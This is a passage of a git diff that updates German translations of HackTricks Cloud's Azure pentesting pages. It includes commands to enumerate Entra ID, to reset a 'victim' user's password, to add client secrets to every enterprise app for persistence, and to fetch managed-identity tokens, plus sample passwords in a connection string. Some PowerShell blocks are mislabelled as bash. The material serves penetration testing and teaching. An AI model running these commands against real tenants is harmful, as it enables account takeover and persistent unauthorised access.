Azure mit anderen verwalteten Identi ### Statuskonfiguration (SC) >[!WARNING] -> Wie in [den Dokumenten](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) angegeben, wird Azure Automation Statuskonfiguration am 30. September 2027 eingestellt und durch [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) ersetzt. +> Wie in [den Dokumenten](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) angegeben, wird Azure Automation State Configuration am 30. September 2027 eingestellt und durch [Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview) ersetzt. Automatisierungskonten unterstützen auch **Statuskonfiguration (SC)**, eine Funktion, die hilft, den **Zustand** Ihrer VMs zu **konfigurieren** und **aufrechtzuerhalten**. Es ist möglich, DSC-Konfigurationen für **Windows**- und **Linux**-Maschinen zu **erstellen** und **anzuwenden**. @@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name --resourc az rest --method GET --url "https://management.azure.com/subscriptions//resourceGroups/>/providers/Microsoft.Automation/automationAccounts//hybridRunbookWorkerGroups//hybridRunbookWorkers?&api-version=2021-06-22" ``` -```powershell +```bash # Check user right for automation az extension add --upgrade -n automation az automation account list # if it doesn't return anything the user is not a part of an Automation group @@ -226,7 +226,7 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package # List hybrid workers Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName ``` -## Privilegieneskalation & Nachausnutzung +## Privilegieneskalation & Nach der Ausnutzung {{#ref}} ../az-privilege-escalation/az-automation-accounts-privesc.md diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index e91ca066a..d67e70778 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -6,7 +6,7 @@ Azure Active Directory (Azure AD) dient als Microsofts cloudbasierter Dienst für Identitäts- und Zugriffsmanagement. Es ist entscheidend, um Mitarbeitern das Anmelden und den Zugriff auf Ressourcen sowohl innerhalb als auch außerhalb der Organisation zu ermöglichen, einschließlich Microsoft 365, dem Azure-Portal und einer Vielzahl anderer SaaS-Anwendungen. Das Design von Azure AD konzentriert sich darauf, wesentliche Identitätsdienste bereitzustellen, insbesondere **Authentifizierung, Autorisierung und Benutzerverwaltung**. -Zu den Hauptfunktionen von Azure AD gehören **Multi-Faktor-Authentifizierung** und **bedingter Zugriff**, sowie nahtlose Integration mit anderen Microsoft-Sicherheitsdiensten. Diese Funktionen erhöhen erheblich die Sicherheit der Benutzeridentitäten und ermöglichen es Organisationen, ihre Zugriffsrichtlinien effektiv umzusetzen und durchzusetzen. Als grundlegender Bestandteil des Ökosystems der Cloud-Dienste von Microsoft ist Azure AD entscheidend für das cloudbasierte Management von Benutzeridentitäten. +Zu den Hauptmerkmalen von Azure AD gehören **Multi-Faktor-Authentifizierung** und **bedingter Zugriff**, sowie nahtlose Integration mit anderen Microsoft-Sicherheitsdiensten. Diese Funktionen erhöhen erheblich die Sicherheit der Benutzeridentitäten und ermöglichen es Organisationen, ihre Zugriffsrichtlinien effektiv umzusetzen und durchzusetzen. Als grundlegender Bestandteil des Ökosystems der Cloud-Dienste von Microsoft ist Azure AD entscheidend für das cloudbasierte Management von Benutzeridentitäten. ## Aufzählung @@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples {{#endtab }} {{#tab name="Mg" }} -```powershell +```bash # Login Open browser Connect-MgGraph @@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg* {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash Connect-AzAccount #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -104,7 +104,7 @@ Get-Command *az* {{#endtab }} {{#tab name="Raw PS" }} -```powershell +```bash #Using management $Token = 'eyJ0eXAi..' # List subscriptions @@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01 {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash Connect-AzureAD #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -149,12 +149,12 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Wenn Sie sich über die **CLI** bei Azure mit einem Programm anmelden, verwenden Sie eine **Azure-Anwendung** aus einem **Mandanten**, der zu **Microsoft** gehört. Diese Anwendungen, wie die, die Sie in Ihrem Konto erstellen können, **haben eine Client-ID**. Sie **werden nicht alle sehen können** in den **erlaubten Anwendungslisten**, die Sie in der Konsole sehen können, **aber sie sind standardmäßig erlaubt**. +Wenn Sie sich über die **CLI** bei Azure mit einem Programm anmelden, verwenden Sie eine **Azure-Anwendung** aus einem **Mandanten**, der zu **Microsoft** gehört. Diese Anwendungen, wie die, die Sie in Ihrem Konto erstellen können, **haben eine Client-ID**. Sie **werden nicht alle von ihnen sehen können** in den **erlaubten Anwendungslisten**, die Sie in der Konsole sehen können, **aber sie sind standardmäßig erlaubt**. Zum Beispiel verwendet ein **PowerShell-Skript**, das sich **authentifiziert**, eine App mit der Client-ID **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selbst wenn die App nicht in der Konsole angezeigt wird, könnte ein Sysadmin **diese Anwendung blockieren**, sodass Benutzer nicht über Tools, die sich über diese App verbinden, darauf zugreifen können. -Es gibt jedoch **andere Client-IDs** von Anwendungen, die **es Ihnen ermöglichen, sich mit Azure zu verbinden**: -```powershell +Es gibt jedoch **andere Client-IDs** von Anwendungen, die **es Ihnen ermöglichen werden, sich mit Azure zu verbinden**: +```bash # The important part is the ClientId, which identifies the application to login inside Azure $token = Invoke-Authorize -Credential $credential ` @@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Users Get-AzureADUser -All $true Get-AzureADUser -All $true | select UserPrincipalName @@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Enumerate users Get-AzADUser # Get details of a user @@ -295,14 +295,14 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtabs }} #### Benutzerpasswort ändern -```powershell +```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` ### MFA & Conditional Access Policies -Es wird dringend empfohlen, MFA für jeden Benutzer hinzuzufügen. Einige Unternehmen werden es jedoch nicht einrichten oder möglicherweise mit einem Conditional Access: Der Benutzer wird **MFA erforderlich sein, wenn** er sich von einem bestimmten Standort, Browser oder **einer Bedingung** anmeldet. Diese Richtlinien können, wenn sie nicht korrekt konfiguriert sind, anfällig für **Umgehungen** sein. Überprüfen Sie: +Es wird dringend empfohlen, MFA für jeden Benutzer hinzuzufügen. Einige Unternehmen setzen es jedoch möglicherweise nicht oder setzen es mit einem Conditional Access: Der Benutzer wird **MFA erforderlich sein, wenn** er sich von einem bestimmten Standort, Browser oder **einer Bedingung** anmeldet. Diese Richtlinien können, wenn sie nicht korrekt konfiguriert sind, anfällig für **bypasses** sein. Überprüfen Sie: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -318,7 +318,7 @@ Für weitere Informationen zu Entra ID-Gruppen siehe: {{#tabs }} {{#tab name="az cli" }} -```powershell +```bash # Enumerate groups az ad group list az ad group list --query "[].[displayName]" -o table @@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true - {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Groups Get-AzureADGroup -All $true # Get info of 1 group @@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get all groups Get-AzADGroup # Get details of a group @@ -393,8 +393,8 @@ Get-AzRoleAssignment -ResourceGroupName #### Benutzer zur Gruppe hinzufügen -Die Eigentümer der Gruppe können neue Benutzer zur Gruppe hinzufügen. -```powershell +Gruppenbesitzer können neue Benutzer zur Gruppe hinzufügen +```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] @@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Get Service Principals Get-AzureADServicePrincipal -All $true # Get details about a SP @@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get SPs Get-AzADServicePrincipal # Get info of 1 SP @@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName {{#endtab }} {{#tab name="Raw" }} -```powershell +```bash $Token = 'eyJ0eX..' $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ @@ -489,7 +489,7 @@ Headers = @{
Liste und versuche, ein Client-Geheimnis für jede Unternehmensanwendung hinzuzufügen -```powershell +```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { @@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # List all registered applications Get-AzureADApplication -All $true # Get details of an application @@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get Apps Get-AzADApplication # Get details of one App @@ -661,7 +661,7 @@ Get-AzADAppCredential > Wenn Sie also dieses **Kennwort** finden, können Sie als **Service Principal** **innerhalb** des **Mandanten** zugreifen.\ > Beachten Sie, dass dieses Kennwort nur sichtbar ist, wenn es generiert wird (Sie können es ändern, aber nicht erneut abrufen).\ > Der **Besitzer** der **Anwendung** kann ihr **ein Kennwort hinzufügen** (damit er sich als sie ausgeben kann).\ -> Anmeldungen als diese Service Principals sind **nicht als riskant gekennzeichnet** und sie **werden kein MFA haben.** +> Anmeldungen als diese Service Principals sind **nicht als riskant gekennzeichnet** und sie **haben kein MFA.** Es ist möglich, eine Liste von häufig verwendeten App-IDs, die zu Microsoft gehören, in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) zu finden. @@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get role assignments on the subscription Get-AzRoleDefinition # Get Role definition @@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/ | fl * {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Devices Get-AzureADDevice -All $true | fl * # List all the active devices (and not the stale devices) @@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash # Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id @@ -908,7 +908,7 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members Privileged Identity Management (PIM) in Azure hilft, **übermäßige Berechtigungen** zu verhindern, die unnötig Benutzern zugewiesen werden. -Eine der Hauptfunktionen von PIM ist, dass es ermöglicht, Rollen nicht ständig aktiven Benutzern zuzuweisen, sondern sie **für einen bestimmten Zeitraum (z.B. 6 Monate)** bereitzustellen. Dann, wann immer der Benutzer diese Rolle aktivieren möchte, muss er sie anfordern und die Zeit angeben, für die er die Berechtigung benötigt (z.B. 3 Stunden). Dann muss ein **Admin die Anfrage genehmigen**.\ +Eine der Hauptfunktionen von PIM ist, dass es ermöglicht, Rollen nicht ständig aktiven Benutzern zuzuweisen, sondern sie **für einen bestimmten Zeitraum (z.B. 6 Monate)** berechtigt. Dann, wann immer der Benutzer diese Rolle aktivieren möchte, muss er sie anfordern und die Zeit angeben, für die er die Berechtigung benötigt (z.B. 3 Stunden). Dann muss ein **Admin die Anfrage genehmigen**.\ Beachten Sie, dass der Benutzer auch die Möglichkeit hat, die Zeit zu **verlängern**. Darüber hinaus **sendet PIM E-Mails**, wann immer eine privilegierte Rolle jemandem zugewiesen wird. @@ -923,7 +923,7 @@ Wenn PIM aktiviert ist, ist es möglich, jede Rolle mit bestimmten Anforderungen - Erfordert eine Begründung bei Aktivierung - Erfordert Ticketinformationen bei Aktivierung - Genehmigung zur Aktivierung erforderlich -- Maximale Zeit bis zum Ablauf der berechtigten Zuweisungen +- Maximale Zeit bis zum Ablauf der berechtigten Zuweisungen - Viel mehr Konfigurationen, wann und an wen Benachrichtigungen gesendet werden, wenn bestimmte Aktionen mit dieser Rolle stattfinden ### Bedingte Zugriffsrichtlinien @@ -947,7 +947,7 @@ Es ermöglicht dem Admin, es so zu konfigurieren, dass es Versuche blockiert, we ### Entra Passwortschutz -Entra Passwortschutz ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ist eine Sicherheitsfunktion, die **hilft, den Missbrauch schwacher Passwörter zu verhindern, indem Konten gesperrt werden, wenn mehrere erfolglose Anmeldeversuche stattfinden**.\ +Entra Passwortschutz ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) ist eine Sicherheitsfunktion, die **hilft, den Missbrauch schwacher Passwörter zu verhindern, indem Konten gesperrt werden, wenn mehrere erfolglose Anmeldeversuche stattfinden**.\ Es ermöglicht auch, eine **benutzerdefinierte Passwortliste zu sperren**, die Sie bereitstellen müssen. Es kann **sowohl** auf Cloud-Ebene als auch im lokalen Active Directory angewendet werden. diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index ca300c0be..3d0ad455a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -17,9 +17,9 @@ Lernen & üben Sie GCP Hacking: :/ In MongoDB können Sie innerhalb einer Instanz eine oder mehrere Datenbanken erstellen. Jede Datenbank dient als logische Gruppierung von Sammlungen und bietet eine Grenze für die Organisation und Verwaltung von Ressourcen. Datenbanken helfen, Daten logisch zu trennen und zu verwalten, beispielsweise für verschiedene Anwendungen oder Projekte. #### Sammlungen -Die zentrale Einheit der Datenspeicherung in MongoDB ist die Sammlung, die Dokumente enthält und für effiziente Abfragen sowie flexibles Schema-Design konzipiert ist. Sammlungen sind elastisch skalierbar und können hochgradig durchsatzstarke Operationen über mehrere Knoten in einer verteilten Umgebung unterstützen. +Die zentrale Einheit der Datenspeicherung in MongoDB ist die Sammlung, die Dokumente enthält und für effizientes Abfragen und flexibles Schema-Design konzipiert ist. Sammlungen sind elastisch skalierbar und können hochgradig durchsatzstarke Operationen über mehrere Knoten in einer verteilten Umgebung unterstützen. #### Aufzählung @@ -243,7 +243,7 @@ az cosmosdb identity show --resource-group --name -Support HackTricks +Unterstütze HackTricks * Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** -* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest. +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md index ede5b43bb..de119e0e3 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md +++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md @@ -2,9 +2,9 @@ {{#include ../../../banners/hacktricks-training.md}} -## Grundinformationen +## Grundlegende Informationen -**Azure Files** ist ein vollständig verwalteter Cloud-Dateispeicherdienst, der gemeinsamen Dateispeicher über die standardmäßigen **SMB (Server Message Block)** und **NFS (Network File System)** Protokolle bereitstellt. Obwohl das Hauptprotokoll SMB ist, werden NFS Azure-Dateifreigaben für Windows nicht unterstützt (laut den [**Docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Es ermöglicht Ihnen, hochverfügbare Netzwerkdateifreigaben zu erstellen, die gleichzeitig von mehreren virtuellen Maschinen (VMs) oder lokalen Systemen zugegriffen werden können, was nahtloses Dateifreigeben über verschiedene Umgebungen hinweg ermöglicht. +**Azure Files** ist ein vollständig verwalteter Cloud-Dateispeicherdienst, der gemeinsamen Dateispeicher über die standardmäßigen **SMB (Server Message Block)**- und **NFS (Network File System)**-Protokolle bereitstellt. Obwohl das Hauptprotokoll SMB ist, werden NFS Azure-Dateifreigaben für Windows nicht unterstützt (laut den [**Docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)). Es ermöglicht Ihnen, hochverfügbare Netzwerkdateifreigaben zu erstellen, die gleichzeitig von mehreren virtuellen Maschinen (VMs) oder lokalen Systemen zugegriffen werden können, was nahtloses Dateifreigeben über verschiedene Umgebungen hinweg ermöglicht. ### Zugriffsebenen @@ -15,20 +15,20 @@ ### Backups -- **Tägliches Backup**: Ein Backup-Punkt wird jeden Tag zu einer angegebenen Zeit (z.B. 19.30 UTC) erstellt und für 1 bis 200 Tage gespeichert. +- **Tägliches Backup**: Ein Backup-Punkt wird jeden Tag zu einer angegebenen Zeit (z. B. 19.30 UTC) erstellt und für 1 bis 200 Tage gespeichert. - **Wöchentliches Backup**: Ein Backup-Punkt wird jede Woche an einem angegebenen Tag und zu einer angegebenen Zeit (Sonntag um 19.30) erstellt und für 1 bis 200 Wochen gespeichert. -- **Monatliches Backup**: Ein Backup-Punkt wird jeden Monat an einem angegebenen Tag und zu einer angegebenen Zeit (z.B. erster Sonntag um 19.30) erstellt und für 1 bis 120 Monate gespeichert. -- **Jährliches Backup**: Ein Backup-Punkt wird jedes Jahr an einem angegebenen Tag und zu einer angegebenen Zeit (z.B. erster Sonntag im Januar um 19.30) erstellt und für 1 bis 10 Jahre gespeichert. +- **Monatliches Backup**: Ein Backup-Punkt wird jeden Monat an einem angegebenen Tag und zu einer angegebenen Zeit (z. B. erster Sonntag um 19.30) erstellt und für 1 bis 120 Monate gespeichert. +- **Jährliches Backup**: Ein Backup-Punkt wird jedes Jahr an einem angegebenen Tag und zu einer angegebenen Zeit (z. B. erster Sonntag im Januar um 19.30) erstellt und für 1 bis 10 Jahre gespeichert. - Es ist auch möglich, **manuelle Backups und Snapshots jederzeit** durchzuführen. Backups und Snapshots sind in diesem Kontext tatsächlich dasselbe. ### Unterstützte Authentifizierungen über SMB -- **On-premises AD DS-Authentifizierung**: Es verwendet lokale Active Directory-Anmeldeinformationen, die mit Microsoft Entra ID für identitätsbasierten Zugriff synchronisiert sind. Es erfordert eine Netzwerkverbindung zu lokalem AD DS. +- **On-Premises AD DS-Authentifizierung**: Es verwendet lokale Active Directory-Anmeldeinformationen, die mit Microsoft Entra ID für identitätsbasierten Zugriff synchronisiert sind. Es erfordert eine Netzwerkverbindung zu lokalem AD DS. - **Microsoft Entra Domain Services-Authentifizierung**: Es nutzt Microsoft Entra Domain Services (cloudbasiertes AD), um den Zugriff mit Microsoft Entra-Anmeldeinformationen bereitzustellen. -- **Microsoft Entra Kerberos für hybride Identitäten**: Es ermöglicht Microsoft Entra-Benutzern, Azure-Dateifreigaben über das Internet mit Kerberos zu authentifizieren. Es unterstützt hybride Microsoft Entra-verbundene oder Microsoft Entra-verbundene VMs, ohne dass eine Verbindung zu lokalen Domänencontrollern erforderlich ist. Es unterstützt jedoch keine cloud-only Identitäten. +- **Microsoft Entra Kerberos für hybride Identitäten**: Es ermöglicht Microsoft Entra-Benutzern, Azure-Dateifreigaben über das Internet mit Kerberos zu authentifizieren. Es unterstützt hybride Microsoft Entra-verbundene oder Microsoft Entra-verbundene VMs, ohne dass eine Verbindung zu lokalen Domänencontrollern erforderlich ist. Es unterstützt jedoch keine cloudbasierten Identitäten. - **AD Kerberos-Authentifizierung für Linux-Clients**: Es ermöglicht Linux-Clients, Kerberos für die SMB-Authentifizierung über lokales AD DS oder Microsoft Entra Domain Services zu verwenden. -## Enumeration +## Aufzählung {{#tabs}} {{#tab name="az cli"}} @@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name --source {{#endtab}} {{#tab name="Az PowerShell"}} -```powershell +```bash Get-AzStorageAccount # List File Shares @@ -88,13 +88,13 @@ Get-AzStorageFile -ShareName "" -Context (New-AzStorageContext -Stor ### Verbindung -Dies sind die von Azure zum Zeitpunkt des Schreibens vorgeschlagenen Skripte, um eine File Share zu verbinden: +Dies sind die Skripte, die Azure zum Zeitpunkt des Schreibens vorschlägt, um eine File Share zu verbinden: Sie müssen die Platzhalter ``, `` und `` ersetzen. {{#tabs}} {{#tab name="Windows"}} -```powershell +```bash $connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445 if ($connectTestResult.TcpTestSucceeded) { # Save the password so the drive will persist on reboot diff --git a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md index bc7231429..c53063373 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md +++ b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md @@ -58,7 +58,7 @@ Wenn ein Schlüssel-Tresor erstellt wird, beträgt die Mindestanzahl an Tagen, d Es ist jedoch möglich, einen Tresor mit **deaktiviertem Löschschutz** zu erstellen, der es ermöglicht, den Schlüssel-Tresor und Objekte während der Aufbewahrungsfrist zu löschen. Sobald dieser Schutz jedoch für einen Tresor aktiviert ist, kann er nicht mehr deaktiviert werden. -## Enumeration +## Aufzählung {{#tabs }} {{#tab name="az" }} @@ -92,7 +92,7 @@ az keyvault secret show --id https://.vault.azure.net/secrets/ --resource-group # Get info diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index 2b97eb580..3f263a928 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -29,10 +29,10 @@ Azure Database for MySQL ist ein vollständig verwalteter relationaler Datenbank - Bietet Stop/Start-Funktionalität zur Kostensenkung. ### Hauptmerkmale -* **Serververwaltung**: Die **ad-admin**-Funktion ermöglicht die Verwaltung von Azure Active Directory (AAD)-Administratoren für MySQL-Server, wodurch die Kontrolle über den administrativen Zugriff über AAD-Anmeldeinformationen bereitgestellt wird, während die **identity**-Funktion die Zuweisung und Verwaltung von Azure Managed Identities ermöglicht, die eine sichere, anmeldefreie Authentifizierung für den Zugriff auf Azure-Ressourcen bieten. +* **Serververwaltung**: Die **ad-admin**-Funktion ermöglicht die Verwaltung von Azure Active Directory (AAD)-Administratoren für MySQL-Server, wodurch die Kontrolle über den administrativen Zugriff über AAD-Anmeldeinformationen bereitgestellt wird, während die **identity**-Funktion die Zuweisung und Verwaltung von Azure Managed Identities ermöglicht, die eine sichere, anmeldeinformationsfreie Authentifizierung für den Zugriff auf Azure-Ressourcen bieten. * **Lebenszyklusverwaltung**: Optionen zum Starten oder Stoppen eines Servers, Löschen einer flexiblen Serverinstanz, Neustarten eines Servers, um Konfigurationsänderungen schnell anzuwenden, und Warten, um sicherzustellen, dass ein Server bestimmte Bedingungen erfüllt, bevor mit Automatisierungsskripten fortgefahren wird. -* **Sicherheit und Netzwerk**: kann Serverfirewallregeln für den sicheren Datenbankzugriff verwalten und virtuelle Netzwerk-Konfigurationen nach Bedarf trennen. -* **Datenschutz und Backup**: umfasst Optionen zur Verwaltung flexibler Server-Backups für die Datenwiederherstellung, Durchführung von Geo-Restore zur Wiederherstellung eines Servers in einer anderen Region, Export von Server-Backups zur externen Nutzung (in der Vorschau) und Wiederherstellung eines Servers aus einem Backup zu einem bestimmten Zeitpunkt. +* **Sicherheit und Netzwerk**: kann Server-Firewallregeln für den sicheren Datenbankzugriff verwalten und virtuelle Netzwerk-Konfigurationen nach Bedarf trennen. +* **Datenschutz und Backup**: umfasst Optionen zur Verwaltung von flexiblen Server-Backups für die Datenwiederherstellung, Durchführung von Geo-Restore zur Wiederherstellung eines Servers in einer anderen Region, Export von Server-Backups zur externen Nutzung (in der Vorschau) und Wiederherstellung eines Servers aus einem Backup zu einem bestimmten Zeitpunkt. ### Aufzählung @@ -73,7 +73,7 @@ az mysql flexible-server server-logs list --resource-group {% tab title="Az PowerShell" %} {% code overflow="wrap" %} -```powershell +```bash Get-Command -Module Az.MySql # Get all flexible servers in a resource group @@ -174,7 +174,7 @@ az mysql flexible-server deploy run \ ## ToDo -* Suche nach einer Möglichkeit, mit mysql flexible-server als Admin zuzugreifen, um zu überprüfen, ob es sich um eine Privilegieneskalationsmethode handelt. +* Suche nach einer Möglichkeit, mit mysql flexible-server ad-admin zuzugreifen, um zu überprüfen, ob es sich um eine Privilegieneskalationsmethode handelt. {% hint style="success" %} Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index 2925086b4..bacb57f41 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -18,11 +18,11 @@ Lernen & üben Sie GCP Hacking: " @@ -209,7 +209,7 @@ Get-AzSqlVM ### Verbinden und SQL-Abfragen ausführen Sie könnten eine Verbindungszeichenfolge (die Anmeldeinformationen enthält) aus dem Beispiel [Auflisten einer Az WebApp](az-app-services.md) finden: -```powershell +```bash function invoke-sql{ param($query) $Connection_string = "Server=tcp:supercorp.database.windows.net,1433;Initial Catalog=flag;Persist Security Info=False;User ID=db_read;Password=gAegH!324fAG!#1fht;MultipleActiveResultSets=False;Encrypt=True;TrustServerCertificate=False;Connection Timeout=30;" @@ -228,7 +228,7 @@ $Connection.Close() invoke-sql 'Select Distinct TABLE_NAME From information_schema.TABLES;' ``` Sie können auch sqlcmd verwenden, um auf die Datenbank zuzugreifen. Es ist wichtig zu wissen, ob der Server öffentliche Verbindungen zulässt `az sql server show --name --resource-group `, und auch, ob die Firewallregel unsere IP den Zugriff erlaubt: -```powershell +```bash sqlcmd -S .database.windows.net -U -P -d ``` ## Referenzen diff --git a/src/pentesting-cloud/azure-security/az-services/az-storage.md b/src/pentesting-cloud/azure-security/az-services/az-storage.md index 7f234270d..24716221a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-storage.md +++ b/src/pentesting-cloud/azure-security/az-services/az-storage.md @@ -4,64 +4,64 @@ ## Grundlegende Informationen -Azure-Speicherkonten sind grundlegende Dienste in Microsoft Azure, die skalierbaren, sicheren und hochverfügbaren Cloud **Speicher für verschiedene Datentypen** bereitstellen, einschließlich Blobs (Binary Large Objects), Dateien, Warteschlangen und Tabellen. Sie dienen als Container, die diese verschiedenen Speicher Dienste unter einem einzigen Namensraum zur einfachen Verwaltung gruppieren. +Azure Storage Accounts sind grundlegende Dienste in Microsoft Azure, die skalierbaren, sicheren und hochverfügbaren Cloud **Speicher für verschiedene Datentypen** bereitstellen, einschließlich Blobs (Binary Large Objects), Dateien, Warteschlangen und Tabellen. Sie dienen als Container, die diese verschiedenen Speicher Dienste unter einem einzigen Namensraum zur einfachen Verwaltung gruppieren. **Hauptkonfigurationsoptionen**: - Jedes Speicherkonto muss einen **eindeutigen Namen über alle Azure** haben. - Jedes Speicherkonto wird in einer **Region** oder in einer erweiterten Azure-Zone bereitgestellt. - Es ist möglich, die **Premium**-Version des Speicherkontos für bessere Leistung auszuwählen. -- Es ist möglich, aus **4 Arten von Redundanz zu wählen, um** gegen Rack-, Laufwerks- und Rechenzentrums-**Ausfälle** zu schützen. +- Es ist möglich, zwischen **4 Arten von Redundanz zum Schutz** vor Rack-, Laufwerks- und Rechenzentrums-**Ausfällen** zu wählen. **Sicherheitskonfigurationsoptionen**: - **Sicheren Transfer für REST-API-Operationen erforderlich**: TLS in jeder Kommunikation mit dem Speicher erforderlich. - **Ermöglicht anonymen Zugriff auf einzelne Container**: Andernfalls wird es nicht möglich sein, in Zukunft anonymen Zugriff zu aktivieren. - **Zugriff auf den Schlüssel des Speicherkontos aktivieren**: Andernfalls wird der Zugriff mit Shared Keys verboten. -- **Minimale TLS-Version** +- **Minimale TLS-Version**. - **Erlaubter Geltungsbereich für Kopieroperationen**: Erlauben von jedem Speicherkonto, von jedem Speicherkonto aus demselben Entra-Mandanten oder von Speicherkonten mit privaten Endpunkten im selben virtuellen 